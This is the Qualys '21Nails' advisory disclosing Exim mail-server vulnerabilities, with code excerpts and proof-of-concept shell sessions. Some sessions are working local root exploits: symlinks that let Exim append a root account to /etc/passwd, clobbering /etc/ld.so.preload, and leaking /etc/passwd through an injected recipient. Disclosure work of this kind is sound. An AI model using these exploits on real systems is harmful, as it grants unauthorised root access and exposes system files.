Update Information from Qualys

[exim-website.git] / templates / static / doc / security / CVE-2020-qualys / 21nails.txt

Qualys Security Advisory

21Nails: Multiple vulnerabilities in Exim


========================================================================
Contents
========================================================================

Summary
Local vulnerabilities
- CVE-2020-28007: Link attack in Exim's log directory
- CVE-2020-28008: Assorted attacks in Exim's spool directory
- CVE-2020-28014: Arbitrary file creation and clobbering
- CVE-2021-27216: Arbitrary file deletion
- CVE-2020-28011: Heap buffer overflow in queue_run()
- CVE-2020-28010: Heap out-of-bounds write in main()
- CVE-2020-28013: Heap buffer overflow in parse_fix_phrase()
- CVE-2020-28016: Heap out-of-bounds write in parse_fix_phrase()
- CVE-2020-28015: New-line injection into spool header file (local)
- CVE-2020-28012: Missing close-on-exec flag for privileged pipe
- CVE-2020-28009: Integer overflow in get_stdinput()
Remote vulnerabilities
- CVE-2020-28017: Integer overflow in receive_add_recipient()
- CVE-2020-28020: Integer overflow in receive_msg()
- CVE-2020-28023: Out-of-bounds read in smtp_setup_msg()
- CVE-2020-28021: New-line injection into spool header file (remote)
- CVE-2020-28022: Heap out-of-bounds read and write in extract_option()
- CVE-2020-28026: Line truncation and injection in spool_read_header()
- CVE-2020-28019: Failure to reset function pointer after BDAT error
- CVE-2020-28024: Heap buffer underflow in smtp_ungetc()
- CVE-2020-28018: Use-after-free in tls-openssl.c
- CVE-2020-28025: Heap out-of-bounds read in pdkim_finish_bodyhash()
Acknowledgments
Timeline


========================================================================
Summary
========================================================================

We recently audited central parts of the Exim mail server
(https://en.wikipedia.org/wiki/Exim) and discovered 21 vulnerabilities
(from CVE-2020-28007 to CVE-2020-28026, plus CVE-2021-27216): 11 local
vulnerabilities, and 10 remote vulnerabilities. Unless otherwise noted,
all versions of Exim are affected since at least the beginning of its
Git history, in 2004.

We have not tried to exploit all of these vulnerabilities, but we
successfully exploited 4 LPEs (Local Privilege Escalations) and 3 RCEs
(Remote Code Executions):

- CVE-2020-28007 (LPE, from user "exim" to root);

- CVE-2020-28008 (LPE, from user "exim" to root);

- CVE-2020-28015 (LPE, from any user to root);

- CVE-2020-28012 (LPE, from any user to root, if allow_filter is true);

- CVE-2020-28020 (unauthenticated RCE as "exim", in Exim < 4.92);

- CVE-2020-28018 (unauthenticated RCE as "exim", in 4.90 <= Exim < 4.94,
  if TLS encryption is provided by OpenSSL);

- CVE-2020-28021 (authenticated RCE, as root);

- CVE-2020-28017 is also exploitable (unauthenticated RCE as "exim"),
  but requires more than 25GB of memory in the default configuration.

We will not publish our exploits for now; instead, we encourage other
security researchers to write and publish their own exploits:

- This advisory contains sufficient information to develop reliable
  exploits for these vulnerabilities; in fact, we believe that better
  exploitation methods exist.

- We hope that more security researchers will look into Exim's code and
  report their findings; indeed, we discovered several of these
  vulnerabilities while working on our exploits.

- We will answer (to the best of our abilities) any questions regarding
  these vulnerabilities and exploits on the public "oss-security" list
  (https://oss-security.openwall.org/wiki/mailing-lists/oss-security).

Last-minute note: as explained in the Timeline, we developed a minimal
set of patches for these vulnerabilities; for reference and comparison,
it is attached to this advisory and is also available at
https://www.qualys.com/research/security-advisories/.



========================================================================
CVE-2020-28007: Link attack in Exim's log directory
========================================================================

The Exim binary is set-user-ID-root, and Exim operates as root in its
log directory, which belongs to the "exim" user:

------------------------------------------------------------------------
drwxr-s--- 2 Debian-exim adm         4096 Nov  4 06:16 /var/log/exim4
------------------------------------------------------------------------

An attacker who obtained the privileges of the "exim" user (by
exploiting CVE-2020-28020 or CVE-2020-28018 for example) can exploit
this local vulnerability to obtain full root privileges. Indeed, the
following code opens a log file in append mode, as root (lines 465-469):

------------------------------------------------------------------------
  22 static uschar *log_names[] = { US"main", US"reject", US"panic", US"debug" };
 ...
 382 static void
 383 open_log(int *fd, int type, uschar *tag)
 384 {
 ...
 387 uschar buffer[LOG_NAME_SIZE];
 ...
 398 ok = string_format(buffer, sizeof(buffer), CS file_path, log_names[type]);
 ...
 465 *fd = Uopen(buffer,
 466 #ifdef O_CLOEXEC
 467                 O_CLOEXEC |
 468 #endif
 469                 O_APPEND|O_WRONLY, LOG_MODE);
------------------------------------------------------------------------

The name of the log file in buffer is derived from file_path, which is
derived from log_file_path, a format string defined at compile time (or
re-defined by the configuration file). On Debian, log_file_path is
"/var/log/exim4/%slog", and "%s" is converted to "main", "reject",
"panic", or "debug" at run time (line 398).

An attacker with the privileges of the "exim" user can create a symlink
(or a hardlink) in the log directory, append arbitrary contents to an
arbitrary file (to /etc/passwd, for example), and obtain full root
privileges:

------------------------------------------------------------------------
id
uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)

cd /var/log/exim4
ln -s -f /etc/passwd paniclog

/usr/sbin/exim4 -Rr $'X\n_trinity:SCB2INhNOLCrc:0:0::/:\nX['

grep -1 _trinity /etc/passwd
2021-03-09 09:45:05 regular expression error: missing terminating ] for character class at offset 35 while compiling X
_trinity:SCB2INhNOLCrc:0:0::/:
X[

su -l _trinity
Password: Z1ON0101

id
uid=0(root) gid=0(root) groups=0(root)
------------------------------------------------------------------------



========================================================================
CVE-2020-28008: Assorted attacks in Exim's spool directory
========================================================================

Exim also operates as root in its spool directory, which belongs to the
"exim" user:

------------------------------------------------------------------------
drwxr-x--- 5 Debian-exim Debian-exim 4096 Nov  4 06:16 /var/spool/exim4
drwxr-x--- 2 Debian-exim Debian-exim 4096 Nov  4 06:16 /var/spool/exim4/db
drwxr-x--- 2 Debian-exim Debian-exim 4096 Nov  4 06:16 /var/spool/exim4/input
drwxr-x--- 2 Debian-exim Debian-exim 4096 Nov  4 06:16 /var/spool/exim4/msglog
------------------------------------------------------------------------

An attacker who obtained the privileges of the "exim" user can exploit
this local vulnerability to obtain full root privileges. Various attack
vectors exist:

- The attacker can directly write to a spool header file (in the "input"
  subdirectory) and reuse our exploitation technique for CVE-2020-28015.

- The attacker can create a long-named file in the "db" subdirectory and
  overflow a stack-based buffer (at line 208):

------------------------------------------------------------------------
 87 open_db *
 88 dbfn_open(uschar *name, int flags, open_db *dbblock, BOOL lof)
 89 {
 ..
 94 uschar dirname[256], filename[256];
...
111 snprintf(CS dirname, sizeof(dirname), "%s/db", spool_directory);
112 snprintf(CS filename, sizeof(filename), "%s/%s.lockfile", dirname, name);
...
198   uschar *lastname = Ustrrchr(filename, '/') + 1;
199   int namelen = Ustrlen(name);
200 
201   *lastname = 0;
202   dd = opendir(CS filename);
203 
204   while ((ent = readdir(dd)))
205     if (Ustrncmp(ent->d_name, name, namelen) == 0)
206       {
207       struct stat statbuf;
208       Ustrcpy(lastname, ent->d_name);
------------------------------------------------------------------------

  Proof of concept:

------------------------------------------------------------------------
id
uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)

cd /var/spool/exim4/db
rm -f retry*
touch retry`perl -e 'print "A" x (255-5)'`

/usr/sbin/exim4 -odf -oep postmaster < /dev/null
*** stack smashing detected ***: <unknown> terminated
2020-11-04 15:34:02 1kaPTm-0000gu-I0 process 2661 crashed with signal 6 while delivering 1kaPTm-0000gu-I0
------------------------------------------------------------------------

- The attacker can create a symlink (or a hardlink) in the "db"
  subdirectory and take ownership of an arbitrary file (at line 212):

------------------------------------------------------------------------
204   while ((ent = readdir(dd))) 
205     if (Ustrncmp(ent->d_name, name, namelen) == 0)
206       {
207       struct stat statbuf;
208       Ustrcpy(lastname, ent->d_name);
209       if (Ustat(filename, &statbuf) >= 0 && statbuf.st_uid != exim_uid)
210         {
211         DEBUG(D_hints_lookup) debug_printf_indent("ensuring %s is owned by exim\n", filename);
212         if (Uchown(filename, exim_uid, exim_gid))
------------------------------------------------------------------------

  Exploitation:

------------------------------------------------------------------------
id
uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)

cd /var/spool/exim4/db
rm -f retry*
ln -s -f /etc/passwd retry.passwd

/usr/sbin/exim4 -odf -oep postmaster < /dev/null

ls -l /etc/passwd
-rw-r--r-- 1 Debian-exim Debian-exim 1580 Nov  4 21:55 /etc/passwd

echo '_francoise:$1$dAuS1HDV$mT0noBeBopmZgLYD5ZiZb1:0:0::/:' >> /etc/passwd

su -l _francoise
Password: RadicalEdward

id
uid=0(root) gid=0(root) groups=0(root)
------------------------------------------------------------------------

Side note: CVE-2020-28007 and CVE-2020-28008 are very similar to
https://www.halfdog.net/Security/2016/DebianEximSpoolLocalRoot/.



========================================================================
CVE-2020-28014: Arbitrary file creation and clobbering
========================================================================

An attacker who obtained the privileges of the "exim" user can abuse the
-oP override_pid_file_path option to create (or overwrite) an arbitrary
file, as root. The attacker does not, however, control the contents of
this file:

------------------------------------------------------------------------
id
uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)

/usr/sbin/exim4 -bdf -oX 0 -oP /etc/ld.so.preload &
[1] 3371

sleep 3

kill -9 "$!"
[1]+  Killed                  /usr/sbin/exim4 -bdf -oX 0 -oP /etc/ld.so.preload

ls -l /etc/ld.so.preload
ERROR: ld.so: object '3371' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
-rw-r--r-- 1 root Debian-exim 5 Nov  4 20:20 /etc/ld.so.preload
------------------------------------------------------------------------

The attacker can also combine this vulnerability with CVE-2020-28007 or
CVE-2020-28008 to create an arbitrary file with arbitrary contents and
obtain full root privileges.



========================================================================
CVE-2021-27216: Arbitrary file deletion
========================================================================

While working on a patch for CVE-2020-28014, we discovered another
related vulnerability: any local user can delete any arbitrary file as
root (for example, /etc/passwd), by abusing the -oP and -oPX options in
delete_pid_file():

------------------------------------------------------------------------
 932 void
 933 delete_pid_file(void)
 934 {
 935 uschar * daemon_pid = string_sprintf("%d\n", (int)getppid());
 ...
 939 if ((f = Ufopen(pid_file_path, "rb")))
 940   {
 941   if (  fgets(CS big_buffer, big_buffer_size, f)
 942         && Ustrcmp(daemon_pid, big_buffer) == 0
 943      )
 944     if (Uunlink(pid_file_path) == 0)
------------------------------------------------------------------------

To exploit this vulnerability, a local attacker must win an easy race
condition between the fopen() at line 939 and the unlink() at line 944;
this is left as an exercise for the interested reader.

------------------------------------------------------------------------
History
------------------------------------------------------------------------

This vulnerability was introduced in Exim 4.94:

------------------------------------------------------------------------
commit 01446a56c76aa5ac3213a86f8992a2371a8301f3
Date:   Sat Nov 9 16:04:14 2019 +0000

    Remove the daemon pid file when exit is due to SIGTERM.  Bug 340
------------------------------------------------------------------------



========================================================================
CVE-2020-28011: Heap buffer overflow in queue_run()
========================================================================

Through the -R deliver_selectstring and -S deliver_selectstring_sender
options, the "exim" user can overflow the heap-based big_buffer in
queue_run() (lines 419 and 423):

------------------------------------------------------------------------
 412   p = big_buffer;
 ...
 418   if (deliver_selectstring)
 419     p += sprintf(CS p, " -R%s %s", f.deliver_selectstring_regex? "r" : "",
 420       deliver_selectstring);
 421 
 422   if (deliver_selectstring_sender)
 423     p += sprintf(CS p, " -S%s %s", f.deliver_selectstring_sender_regex? "r" : "",
 424       deliver_selectstring_sender);
------------------------------------------------------------------------

We have not tried to exploit this vulnerability; if exploitable, it
would allow an attacker who obtained the privileges of the "exim" user
to obtain full root privileges.

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------

id
uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)

/usr/sbin/exim4 -R `perl -e 'print "A" x 128000'`
malloc(): invalid size (unsorted)
Aborted

/usr/sbin/exim4 -S `perl -e 'print "A" x 128000'`
malloc(): invalid size (unsorted)
Aborted



========================================================================
CVE-2020-28010: Heap out-of-bounds write in main()
========================================================================

For debugging and logging purposes, Exim copies the current working
directory (initial_cwd) into the heap-based big_buffer:

------------------------------------------------------------------------
3665 initial_cwd = os_getcwd(NULL, 0);
....
3945   uschar *p = big_buffer;
3946   Ustrcpy(p, "cwd= (failed)");
....
3952     Ustrncpy(p + 4, initial_cwd, big_buffer_size-5);
3953     p += 4 + Ustrlen(initial_cwd);
....
3956     *p = '\0';
------------------------------------------------------------------------

The strncpy() at line 3952 cannot overflow big_buffer, but (on Linux at
least) initial_cwd can be much longer than big_buffer_size (16KB): line
3953 can increase p past big_buffer's end, and line 3956 (and beyond)
can write out of big_buffer's bounds.

We have not tried to exploit this vulnerability; if exploitable, it
would allow an unprivileged local attacker to obtain full root
privileges.

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------

id
uid=1001(jane) gid=1001(jane) groups=1001(jane)

perl -e 'use strict;
my $a = "A" x 255;
for (my $i = 0; $i < 4096; $i++) {
mkdir "$a", 0700 or die;
chdir "$a" or die; }
exec "/usr/sbin/exim4", "-d+all" or die;'
...
23:50:39  5588 changed uid/gid: forcing real = effective
23:50:39  5588   uid=0 gid=1001 pid=5588
...
Segmentation fault

------------------------------------------------------------------------
History
------------------------------------------------------------------------

This vulnerability was introduced in Exim 4.92:

------------------------------------------------------------------------
commit 805fd869d551c36d1d77ab2b292a7008d643ca79
Date:   Sat May 19 12:09:55 2018 -0400
...
   Ustrncpy(p + 4, initial_cwd, big_buffer_size-5);
+  p += 4 + Ustrlen(initial_cwd);
+  /* in case p is near the end and we don't provide enough space for
+   * string_format to be willing to write. */
+  *p = '\0';
 
-  while (*p) p++;
------------------------------------------------------------------------



========================================================================
CVE-2020-28013: Heap buffer overflow in parse_fix_phrase()
========================================================================

If a local attacker executes Exim with a -F '.(' option (for example),
then parse_fix_phrase() calls strncpy() with a -1 size (which overflows
the destination buffer, because strncpy(dest, src, n) "writes additional
null bytes to dest to ensure that a total of n bytes are written").

Indeed, at line 1124 s and ss are both equal to end, at line 1125 ss is
decremented, and at line 1127 ss-s is equal to -1:

------------------------------------------------------------------------
1124             {
1125             if (ss >= end) ss--;
1126             *t++ = '(';
1127             Ustrncpy(t, s, ss-s);
------------------------------------------------------------------------

We have not tried to exploit this vulnerability; if exploitable, it
would allow an unprivileged local attacker to obtain full root
privileges.

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------

id
uid=1001(jane) gid=1001(jane) groups=1001(jane)

/usr/sbin/exim4 -bt -F '.('
Segmentation fault



========================================================================
CVE-2020-28016: Heap out-of-bounds write in parse_fix_phrase()
========================================================================

If a local attacker executes Exim with an empty originator_name (-F ''),
then parse_fix_phrase() allocates a zero-sized buffer (at line 982), but
writes a null byte to buffer[1] (lines 986 and 1149):

------------------------------------------------------------------------
4772 originator_name = parse_fix_phrase(originator_name, Ustrlen(originator_name));
------------------------------------------------------------------------
 960 const uschar *
 961 parse_fix_phrase(const uschar *phrase, int len)
 962 {
 ...
 982 buffer = store_get(len*4, is_tainted(phrase));
 983 
 984 s = phrase;
 985 end = s + len;
 986 yield = t = buffer + 1;
 987 
 988 while (s < end)
 989   {
....
1147   }
1148 
1149 *t = 0;
------------------------------------------------------------------------

We have not tried to exploit this vulnerability; if exploitable, it
would allow an unprivileged local attacker to obtain full root
privileges.

------------------------------------------------------------------------
History
------------------------------------------------------------------------

This vulnerability was introduced by:

------------------------------------------------------------------------
commit 3c90bbcdc7cf73298156f7bcd5f5e750e7814e72
Date:   Thu Jul 9 15:30:55 2020 +0100
...
+JH/18 Bug 2617: Fix a taint trap in parse_fix_phrase().  Previously when the
+      name being quoted was tainted a trap would be taken.  Fix by using
+      dynamicaly created buffers.  The routine could have been called by a
+      rewrite with the "h" flag, by using the "-F" command-line option, or
+      by using a "name=" option on a control=submission ACL modifier.
------------------------------------------------------------------------



========================================================================
CVE-2020-28015: New-line injection into spool header file (local)
========================================================================

When Exim receives a mail, it creates two files in the "input"
subdirectory of its spool directory: a "data" file, which contains the
body of the mail, and a "header" file, which contains the headers of the
mail and important metadata (the sender and the recipient addresses, for
example). Such a header file consists of lines of text separated by '\n'
characters.

Unfortunately, an unprivileged local attacker can send a mail to a
recipient whose address contains '\n' characters, and can therefore
inject new lines into the spool header file and change Exim's behavior:

------------------------------------------------------------------------
id
uid=1001(jane) gid=1001(jane) groups=1001(jane)

/usr/sbin/exim4 -odf -oep $'"Lisbeth\nSalander"' < /dev/null

2020-11-05 09:11:46 1kafzO-0001ho-Tf Format error in spool file 1kafzO-0001ho-Tf-H: size=607
------------------------------------------------------------------------

The effect of this vulnerability is similar to CVE-2020-8794 in
OpenSMTPD, but in Exim's case it is not enough to execute arbitrary
commands. To understand how we transformed this vulnerability into an
arbitrary command execution, we must digress briefly.

------------------------------------------------------------------------
Digression
------------------------------------------------------------------------

Most of the vulnerabilities in this advisory are memory corruptions, and
despite modern protections such as ASLR, NX, and malloc hardening,
memory corruptions in Exim are easy to exploit:

1/ Exim's memory allocator (store.c, which calls malloc() and free()
internally) unintentionally provides attackers with powerful exploit
primitives. In particular, if an attacker can pass a negative size to
the allocator (through an integer overflow or direct control), then:

------------------------------------------------------------------------
119 static void *next_yield[NPOOLS];
120 static int yield_length[NPOOLS] = { -1, -1, -1,  -1, -1, -1 };
...
231 void *
232 store_get_3(int size, BOOL tainted, const char *func, int linenumber)
233 {
...
248 if (size > yield_length[pool])
249   {
...
294   }
...
299 store_last_get[pool] = next_yield[pool];
...
316 next_yield[pool] = (void *)(CS next_yield[pool] + size);
317 yield_length[pool] -= size;
318 return store_last_get[pool];
319 }
------------------------------------------------------------------------

1a/ At line 248, store_get() believes that the current block of memory
is large enough (because size is negative), and goes to line 299. As a
result, store_get()'s caller can overflow the current block of memory (a
"forward-overflow").

1b/ At line 317, the free size of the current block of memory
(yield_length) is mistakenly increased (because size is negative), and
at line 316, the next pointer returned by store_get() (next_yield) is
mistakenly decreased (because size is negative). As a result, the next
memory allocation can overwrite the beginning of Exim's heap: a relative
write-what-where, which naturally bypasses ASLR (a "backward-jump", or
"back-jump").

2/ The beginning of the heap contains Exim's configuration, which
includes various strings that are passed to expand_string() at run time.
Consequently, an attacker who can "back-jump" can overwrite these
strings with "${run{...}}" and execute arbitrary commands (thus
bypassing NX).

The first recorded use of expand_string() in an Exim exploit is
CVE-2010-4344 (and CVE-2010-4345), an important part of Internet
folklore:

https://www.openwall.com/lists/oss-security/2010/12/10/1

Note: Exim 4.94 (the latest version) introduces "tainted" memory (i.e.,
untrusted, possibly attacker-controlled data) and refuses to process it
in expand_string(). This mechanism protects Exim against unintentional
expansion of tainted data (CVE-2014-2957 and CVE-2019-10149), but NOT
against memory corruption: an attacker can simply overwrite untainted
memory with tainted data, and still execute arbitrary commands in
expand_string(). For example, we exploited CVE-2020-28015,
CVE-2020-28012, and CVE-2020-28021 in Exim 4.94.

------------------------------------------------------------------------
Exploitation
------------------------------------------------------------------------

CVE-2020-28015 allows us to inject new lines into a spool header file.
To transform this vulnerability into an arbitrary command execution (as
root, since deliver_drop_privilege is false by default), we exploit the
following code in spool_read_header():

------------------------------------------------------------------------
 341 int n;
 ...
 910 while ((n = fgetc(fp)) != EOF)
 911   {
 ...
 914   int i;
 915 
 916   if (!isdigit(n)) goto SPOOL_FORMAT_ERROR;
 917   if(ungetc(n, fp) == EOF  ||  fscanf(fp, "%d%c ", &n, flag) == EOF)
 918     goto SPOOL_READ_ERROR;
 ...
 927     h->text = store_get(n+1, TRUE);     /* tainted */
 ...
 935     for (i = 0; i < n; i++)
 936       {
 937       int c = fgetc(fp);
 ...
 940       h->text[i] = c;
 941       }
 942     h->text[i] = 0;
------------------------------------------------------------------------

- at line 917, we start a fake header with a negative length n;

- at line 927, we back-jump to the beginning of the heap (Digression
  1b), because n is negative;

- at line 935, we avoid the forward-overflow (Digression 1a), because n
  is negative;

- then, our next fake header is allocated to the beginning of the heap
  and overwrites Exim's configuration strings (with "${run{command}}");

- last, our arbitrary command is executed when deliver_message()
  processes our fake (injected) recipient and expands the overwritten
  configuration strings (Digression 2).

We can also transform CVE-2020-28015 into an information disclosure, by
exploiting the following code in spool_read_header():

------------------------------------------------------------------------
 756 for (recipients_count = 0; recipients_count < rcount; recipients_count++)
 757   {
 ...
 765   if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) goto SPOOL_READ_ERROR;
 766   nn = Ustrlen(big_buffer);
 767   if (nn < 2) goto SPOOL_FORMAT_ERROR;
 ...
 772   p = big_buffer + nn - 1;
 773   *p-- = 0;
 ...
 809   while (isdigit(*p)) p--;
 ...
 840   else if (*p == '#')
 841     {
 842     int flags;
 ...
 848     (void)sscanf(CS p+1, "%d", &flags);
 849 
 850     if ((flags & 0x01) != 0)      /* one_time data exists */
 851       {
 852       int len;
 853       while (isdigit(*(--p)) || *p == ',' || *p == '-');
 854       (void)sscanf(CS p+1, "%d,%d", &len, &pno);
 855       *p = 0;
 856       if (len > 0)
 857         {
 858         p -= len;
 859         errors_to = string_copy_taint(p, TRUE);
 860         }
 861       }
 862 
 863     *(--p) = 0;   /* Terminate address */
------------------------------------------------------------------------

For example, if we send a mail to the recipient
'"X@localhost\njane@localhost 8192,-1#1\n\n1024* "' (where jane is our
username, and localhost is one of Exim's local_domains), then:

- at line 848, we set flags to 1;

- at line 854, we set len to 8KB;

- at line 858, we decrease p (by 8KB) toward the beginning of the heap;

- at line 859, we read the errors_to string out of big_buffer's bounds;

- finally, we receive our mail, which includes the out-of-bounds
  errors_to string in its "From" and "Return-path:" headers (in this
  example, errors_to contains a fragment of /etc/passwd):

------------------------------------------------------------------------
id
uid=1001(jane) gid=1001(jane) groups=1001(jane)

(
printf 'Message-Id: X\n';
printf 'From: X@localhost\n';
printf 'Date: X\n';
printf 'X:%01024d2* X\n' 0;
) | /usr/sbin/exim4 -odf -oep $'"X@localhost\njane@localhost 8192,-1#1\n\n1024* "' jane

cat /var/mail/jane
From 
sys:x:3:
adm:x:4:
...
Debian-exim:x:107:114::/var/spool/exim4:/usr/sbin/nologin
jane:x:1001:1001:,,,:/home/jane:/bin/bash
 Thu Nov 05 10:49:07 2020
Return-path: <
sys:x:3:
adm:x:4:
...
systemd-timesync:x:102:
systemd-network:x:103:
sy>
...
------------------------------------------------------------------------



========================================================================
CVE-2020-28012: Missing close-on-exec flag for privileged pipe
========================================================================

Exim supports a special kind of .forward file called "exim filter" (if
allow_filter is true, the default on Debian). To handle such a filter,
the privileged Exim process creates an unprivileged process and a pipe
for communication. The filter process can fork() and execute arbitrary
commands with expand_string(); this is not a security issue in itself,
because the filter process is unprivileged. Unfortunately, the writable
end of the communication pipe is not closed-on-exec and an unprivileged
local attacker can therefore send arbitrary data to the privileged Exim
process (which is running as root).

------------------------------------------------------------------------
Exploitation
------------------------------------------------------------------------

We exploit this vulnerability through the following code in
rda_interpret(), which reads our arbitrary data in the privileged Exim
process:

------------------------------------------------------------------------
791 fd = pfd[pipe_read];
792 if (read(fd, filtertype, sizeof(int)) != sizeof(int) ||
793     read(fd, &yield, sizeof(int)) != sizeof(int) ||
794     !rda_read_string(fd, error)) goto DISASTER;
...
804     if (!rda_read_string(fd, &s)) goto DISASTER;
...
956   *error = string_sprintf("internal problem in %s: failure to transfer "
957     "data from subprocess: status=%04x%s%s%s", rname,
958     status, readerror,
959     (*error == NULL)? US"" : US": error=",
960     (*error == NULL)? US"" : *error);
961   log_write(0, LOG_MAIN|LOG_PANIC, "%s", *error);
------------------------------------------------------------------------

where:

------------------------------------------------------------------------
467 static BOOL
468 rda_read_string(int fd, uschar **sp)
469 {
470 int len;
471 
472 if (read(fd, &len, sizeof(int)) != sizeof(int)) return FALSE;
...
479   if (read(fd, *sp = store_get(len, FALSE), len) != len) return FALSE;
480 return TRUE;
481 }
------------------------------------------------------------------------

- at line 794, we allocate an arbitrary string (of arbitrary length),
  error;

- at line 804 (and line 479), we back-jump to the beginning of the heap
  (Digression 1b) and avoid the forward-overflow (Digression 1a) because
  our len is negative;

- at line 956, we overwrite the beginning of the heap with a string that
  we control (error); we tried to overwrite Exim's configuration strings
  (Digression 2) but failed to execute arbitrary commands; instead, we
  overwrite file_path, a copy of log_file_path (mentioned in
  CVE-2020-28007);

- at line 961, we append an arbitrary string that we control (error) to
  a file whose name we control (file_path): we add an arbitrary user to
  /etc/passwd and obtain full root privileges.

This first version of our exploit succeeds on Debian oldstable's
exim4_4.89-2+deb9u7 (it fails on Debian stable's exim4_4.92-8+deb10u4
because of a gstring_reset_unused() in string_sprintf(); we have not
tried to work around this problem), but it fails on Debian testing's
exim4_4.94-8: the pool of memory that we back-jump at line 804 is
untainted, but the string at line 956 is tainted and written to a
different pool of memory (because our primary recipient, and hence
rname, are tainted).

To work around this problem, our "exim filter" generates a secondary
recipient that is naturally untainted (line 479). When this secondary
recipient is processed, the string at line 956 is untainted and thus
overwrites the beginning of the heap (because it is allocated in the
untainted pool of memory that we back-jumped at line 804): this second
version of our exploit also succeeds on Debian testing.

Finally, we use one noteworthy trick in our exploit: in theory, the
string that overwrites file_path at line 956 cannot be longer than 256
bytes (LOG_NAME_SIZE); this significantly slows our brute-force of the
correct back-jump distance. In practice, we can overwrite file_path with
a much longer string (up to 8KB, LOG_BUFFER_SIZE) because file_path is a
format string, and "%0Lu" (or "%.0D") is a NOP in Exim's string_format()
function: it consumes no argument and produces no output, thus avoiding
the overflow of buffer[LOG_NAME_SIZE] in open_log().



========================================================================
CVE-2020-28009: Integer overflow in get_stdinput()
========================================================================

The following loop reads lines from stdin as long as the last character
of the lines is '\\' (line 1273). Each line that is read is appended to
a "growable string", the gstring g (at line 1266):

------------------------------------------------------------------------
1229 gstring * g = NULL;
....
1233 for (i = 0;; i++)
1234   {
1235   uschar buffer[1024];
....
1252     if (Ufgets(buffer, sizeof(buffer), stdin) == NULL) break;
1253     p = buffer;
....
1258   ss = p + (int)Ustrlen(p);
....
1266   g = string_catn(g, p, ss - p);
....
1273   if (ss == p || g->s[g->ptr-1] != '\\')
1274     break;
------------------------------------------------------------------------

Eventually, the integer g->size of the growable string overflows, and
becomes negative (in gstring_grow(), which is called by string_catn()).
Consequently, in store_newblock() (which is called by gstring_grow()),
newsize is negative:

------------------------------------------------------------------------
506 void *
507 store_newblock_3(void * block, int newsize, int len,
508   const char * filename, int linenumber)
509 {
510 BOOL release_ok = store_last_get[store_pool] == block;
511 uschar * newtext = store_get(newsize);
512 
513 memcpy(newtext, block, len);
514 if (release_ok) store_release_3(block, filename, linenumber);
515 return (void *)newtext;
516 }
------------------------------------------------------------------------

- the store_get() at line 511 back-jumps the current block of memory
  (Digression 1b);

- the memcpy() at line 513 forward-overflows the current block of memory
  (Digression 1a).

If exploitable, this vulnerability would allow an unprivileged local
attacker to obtain full root privileges. We have not tried to exploit
this vulnerability, because it took more than 5 days to overflow the
integer g->size. Indeed, the loop in get_stdinput() has an O(n^2) time
complexity: for each line that is read, store_newblock() allocates a new
block of memory (at line 511) and recopies the entire contents of the
growable string (at line 513).

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------

id
uid=1001(jane) gid=1001(jane) groups=1001(jane)

(
for ((i=0; i<4096; i++)); do
echo "`date` $i" >&2;
perl -e 'print "\\" x 1048576';
done
) | /usr/sbin/exim4 -bt | wc

Program received signal SIGSEGV, Segmentation fault.



========================================================================
CVE-2020-28017: Integer overflow in receive_add_recipient()
========================================================================

By default, Exim does not limit the number of recipients (the number of
valid RCPT TO commands) for a mail. But after 52428800 (50M) recipients,
the multiplication at line 492 overflows, and the size that is passed to
store_get() becomes negative (2*50M * 40B = -96MB):

------------------------------------------------------------------------
 484 void
 485 receive_add_recipient(uschar *recipient, int pno)
 486 {
 487 if (recipients_count >= recipients_list_max)
 488   {
 489   recipient_item *oldlist = recipients_list;
 490   int oldmax = recipients_list_max;
 491   recipients_list_max = recipients_list_max ? 2*recipients_list_max : 50;
 492   recipients_list = store_get(recipients_list_max * sizeof(recipient_item));
 493   if (oldlist != NULL)
 494     memcpy(recipients_list, oldlist, oldmax * sizeof(recipient_item));
 495   }
------------------------------------------------------------------------

- at line 492, store_get() back-jumps the current block of memory
  (Digression 1b), by -96MB;

- at line 494, memcpy() forward-overflows the current block of memory
  (Digression 1a), by nearly 2GB (50M * 40B = 2000MB).

Initially, we thought that CVE-2020-28017 would be the perfect
vulnerability:

- it affects all versions of Exim (since at least the beginning of its
  Git history in 2004);

- it is certainly exploitable (an unauthenticated RCE as the "exim"
  user): the forward-overflow can be absorbed to avoid a crash, and the
  back-jump can be directed onto Exim's configuration (Digression 2);

- a back-of-the-envelope calculation suggested that an exploit would
  require "only" 6GB of memory: 2*2GB for all the recipients_lists, and
  2GB of recipient addresses to absorb the forward-overflow.

Eventually, however, we abandoned the exploitation of CVE-2020-28017:

- On Exim 4.89 (Debian oldstable), the ACLs (Access Control Lists) for
  the RCPT TO command consume approximately 512 bytes per recipient: an
  exploit would require more than 50M * 512B = 25GB of memory. Instead,
  we decided to exploit another vulnerability, CVE-2020-28020, which
  requires only 3GB of memory.

- On Exim 4.92 (Debian stable), the ACLs for RCPT TO consume at least
  4KB per recipient. Indeed, this version's string_sprintf() allocates a
  whole new 32KB memory block, but uses only one page (4KB): an exploit
  would require more than 50M * 4KB = 200GB of memory.

- On Exim 4.94 (Debian testing), the problem with string_sprintf() was
  solved, and an exploit would therefore require "only" 25GB of memory.
  However, the "tainted" checks create another problem: each RCPT TO
  allocates T blocks of tainted memory, and makes U is_tainted() checks
  on untainted memory, but each check traverses the complete linked list
  of tainted memory blocks. For n recipients, this has an O(n^2) time
  complexity (roughly U*T*(n^2)/2): it would take months to reach 50M
  recipients.

CVE-2020-28017 is also exploitable locally (through -bS and
smtp_setup_batch_msg(), which does not have ACLs), and would allow an
unprivileged local attacker to obtain the privileges of the "exim" user.
But better vulnerabilities exist: CVE-2020-28015 and CVE-2020-28012 are
locally exploitable and yield full root privileges.

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------

id
uid=1001(jane) gid=1001(jane) groups=1001(jane)

(
sleep 10;
echo 'EHLO test';
sleep 3;
echo 'MAIL FROM:<>';
sleep 3;
for ((i=0; i<64000000; i++)); do
[ "$((i%1000000))" -eq 0 ] && echo "`date` $i" >&2;
echo 'RCPT TO:lp@localhost';
done
) | /usr/sbin/exim4 -bS | wc

